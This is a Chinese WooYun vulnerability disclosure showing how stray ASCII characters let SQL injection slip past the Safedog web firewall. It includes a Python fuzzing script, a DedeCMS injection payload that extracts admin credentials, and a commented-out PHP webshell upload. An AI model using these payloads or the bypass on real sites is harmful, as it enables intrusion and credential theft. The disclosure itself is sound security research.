当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(23) 关注此漏洞

缺陷编号: WooYun-2014-88115

漏洞标题: 安全狗防御规则bypass(又另外一种方式)

相关厂商: 安全狗

漏洞作者: MayIKissYou

提交时间: 2014-12-22 11:00

公开时间: 2015-04-02 10:23

漏洞类型: 设计错误/逻辑缺陷

危害等级: 中

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计不当

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-02-20: 细节向核心白帽子及相关领域专家公开
2015-03-02: 细节向普通白帽子公开
2015-03-12: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

这次不用POST bypass了,这种算通用么

详细说明:

1:我使用http GET发送请求的时候,内容发送到服务器,首先会经过安全狗,然后再到服务器,安全狗肯定是对于我的请求进行了urldecode了,因此想象一下,我构造如下的URL,http://localhost/a.php?aid=x1 union select 1 from table

如果x字符安全处理不好的话,是不是就bypass了呢。

此处我们直接使用ascii字符,不使用urlencode的,因为decode的时候可能对于ascii的处理会有问题的。



2:搭建环境,创建a.php文件,文件回显letmetest(windows下测试的)



3:使用如下代码:

code 区域
import urllib2
import re
import urllib
#url = "http://**.**.**.**/plus/download.php"
#url = "**.**.**.**/dedecms5.7/dedecms5.7-20110624/uploads/plus/recommend.php"
url = '**.**.**.**/a.php?aid=1%s%20union%20select%201%20from%20table'
payload = '%20union%20select%201%20from%20table'
header = {
'User-Agent' : 'letmetest',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}

def getdata(m):
return "1"*m


def postdata(n):
u = "\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` "

data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

# data += 'Content-Disposition: form-data; name="file"\r\n\r\n'

# data += '%s\r\n' % "121212112121"

# data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

# data += 'Content-Disposition: form-data; name="file"; filename="a.jpg.php"\r\n'

# data += 'Content-Type: text/plain\r\n\r\n'

# data += '<?php eval($_POST[val]); ?>\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="sb"\r\n\r\n'

data += '%s\r\n' % '0'*n

data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="action"\r\n\r\n'

data += '\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'

data += '1\r\n'

data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'

data += '%s\r\n' % u

data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'

data += '1.jpg\r\n'

data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'

data += 'application/octet-stream\r\n'

data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'

data += '6878\r\n'

data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'

return data

proxy = "**.**.**.**:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
#request = urllib2.Request(url,postdata(1000000),header)
for i in range(0,256):
request = urllib2.Request('**.**.**.**/a.php?aid=1%s' % chr(i) + payload)
try:
response = urllib2.urlopen(request).read()
except:
continue
if(re.search('letmetest',response)):
print 'chr(%d)' % i
print 'bypass ok'



通过输入的内容检查返回的内容是否含有letmetest的内容



4:测试结果

anquangou.jpg





看来\x09等字符会造成bypass哦



5:来个burp的

11111.jpg

漏洞证明:

4:测试结果

anquangou.jpg





看来\x09等字符会造成bypass哦



5:来个burp的

11111.jpg

修复方案:

更新规则吧

版权声明:转载请注明来源 MayIKissYou@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-12-29 18:09 | MayIKissYou ( 普通白帽子 | Rank:207 漏洞数:34 | 勿忘初心)
    3

    当时测试有点草率,貌似里面有一个字符是可以用的

  2. 2015-01-04 15:12 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:176 | 力不从心)
    1

    又忽略了?

登录后才能发表评论,请先 登录